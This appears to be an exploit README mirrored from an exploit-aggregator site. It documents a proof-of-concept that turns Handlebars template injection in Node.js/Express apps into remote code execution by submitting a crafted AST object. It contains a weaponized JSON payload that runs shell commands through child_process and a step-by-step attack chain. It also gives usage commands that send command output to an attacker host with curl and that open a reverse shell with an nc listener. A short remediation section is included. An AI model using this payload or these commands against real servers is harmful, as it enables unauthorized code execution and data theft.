Share
## https://sploitus.com/exploit?id=5C1E6FAB-6FB7-5D43-B088-BAB10710EEB8
# Handlebars SSTI β†’ RCE via Server-Side AST Injection

A proof-of-concept for turning a server-side template injection in a
Node.js/Express + Handlebars application into remote code execution β€” even on
modern Handlebars (β‰₯ 4.6) where the classic gadget no longer works, and without
relying on prototype pollution.

> **Authorized testing only.** This code is for use against systems you own or
> have explicit written permission to assess. You are responsible for how you
> use it.

---

## TL;DR

If an application renders a user-controlled value with `Handlebars.compile(value)`
and its body parser accepts JSON (or nested urlencoded data), you can send that
"string" field as an **object** shaped like a pre-parsed template AST. Handlebars
skips the parser for AST-shaped input and emits your payload straight into the
compiled function β€” giving you code execution.

```
field = { "type": "Program", "body": [ ...AST with your JS... ] }  β†’  RCE
```

---

## Why the usual payloads fail

Handlebars is logic-less and, since **4.6.0**, ships prototype-access protection
that is on by default. During rendering it blocks resolution of properties that
are not "own" properties of their parent object, which kills the well-known
chain:

```handlebars
{{#with "s" as |s|}}{{lookup s.sub "constructor"}}{{/with}}   β†’ empty (blocked)
{{this.constructor.constructor("...")()}}                    β†’ empty (blocked)
```

Quick fingerprinting that lands you here:

| Probe | Result | Meaning |
|-------|--------|---------|
| `{{7*7}}` | error / 400 | Handlebars (Mustache would return empty, Jinja `49`) |
| `{% if 1 %}` | printed literally | not Jinja/Nunjucks |
| `{{s.length}}` on a string | works | own-property access allowed |
| `{{s.constructor}}` | empty | proto-access protection is ON (β‰₯ 4.6) |
| `{{#each this}}…{{/each}}` | empty | render context is empty / minimal |

Empty context, no custom helpers, protection on β†’ there is no reliable
*string* payload. That is where AST injection comes in.

---

## The technique

`Handlebars.compile(input)` inspects `input` before doing anything. If it sees
`input.type === "Program"`, it assumes the input is an already-parsed AST and
hands it directly to the code generator, **skipping the lexer and parser**.

Normally the parser forces numeric literals through `Number(...)`, so a
`NumberLiteral` can only ever hold a number. By supplying the AST ourselves we
bypass that, put an arbitrary **string** into `NumberLiteral.value`, and the code
generator writes it verbatim into the body of the compiled JavaScript function.
When the template runs, our "number" is executed as code.

The application almost always assumes the field is a string. The moment the body
is parsed as JSON (`express.json()`) or as nested urlencoded values, we control
the *type* of that field and can pass an object.

Minimal weaponized AST:

```json
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": 0,
      "params": [
        { "type": "NumberLiteral",
          "value": "process.mainModule.require('child_process').execSync('id').toString()" }
      ],
      "loc": { "start": 0, "end": 0 }
    }
  ]
}
```

Notes:

- Use `process.mainModule.require(...)` (or `global.process...`). Bare `require`
  is not in scope inside the generated function.
- Compilation raises `Missing helper: "undefined"` on the `path: 0` node **after**
  the params (your code) are evaluated, so the HTTP response is usually an error
  (e.g. `400`). Execution already happened β€” confirm out-of-band.
- Blind by design: exfiltrate via an HTTP callback, or confirm with a timing
  probe such as `execSync('sleep 6')` and measuring response latency.

---

## Attack chain

1. **Recon** – identify a field that is echoed back through a template; confirm
   the engine is Handlebars and that proto-access protection is enabled.
2. **Body type control** – confirm the endpoint accepts a JSON body (or nested
   urlencoded), so the field can be an object rather than a string.
3. **AST injection** – submit the field as the `Program` AST above with your JS
   in `NumberLiteral.value`.
4. **Execution & feedback** – code runs during compilation; collect output over
   an OOB channel or drop a reverse shell.

---

## Usage

```
python3 exploit.py URL --vuln-path PATH --field FIELD [auth] (--shell LHOST LPORT | --cmd CMD)
```

The tool handles an optional register→login flow, scrapes a csurf `_csrf` token
from rendered forms automatically, and sends the malicious JSON body.

Single command (out-of-band exfil is up to you):

```bash
python3 exploit.py http://127.0.0.1:3000 \
    --login-path /login --login email=user@example.com --login password=Passw0rd! \
    --vuln-path /submit --field message \
    --form title=hello \
    --cmd "id | curl -s --data-binary @- http://ATTACKER:8000/"
```

Reverse shell:

```bash
# listener
nc -lvnp 443

# fire (payload is base64-wrapped and backgrounded so it won't block the event loop)
python3 exploit.py http://127.0.0.1:3000 \
    --register-path /register --register email=user@example.com --register username=user --register password=Passw0rd! \
    --login-path /login --login email=user@example.com --login password=Passw0rd! \
    --vuln-path /submit --field message --form title=hello \
    --shell 10.10.14.5 443
```

`--form` / `--login` / `--register` are repeatable `KEY=VALUE` flags for whatever
fields the target forms require. If the endpoint needs no auth, omit the auth
flags.

---

## Detection & remediation

- Enforce that template inputs are **strings**; reject non-string types before
  they reach `compile()`. Validate request bodies against a strict schema.
- Never compile user-controlled data as a template source. Pass user data as
  context/variables into a precompiled, logic-less template instead.
- Keep Handlebars current and be aware that AST injection sidesteps the
  render-time prototype-access protection because it corrupts the *compile*
  step, not property lookup.

---

## References

- po6ix β€” *AST Injection* (Handlebars / Pug gadgets)
- KTH-LangSec β€” *Server-Side Prototype Pollution* gadget catalogue
- Handlebars security advisories & prototype-access protection (β‰₯ 4.6)
- PortSwigger β€” server-side template injection research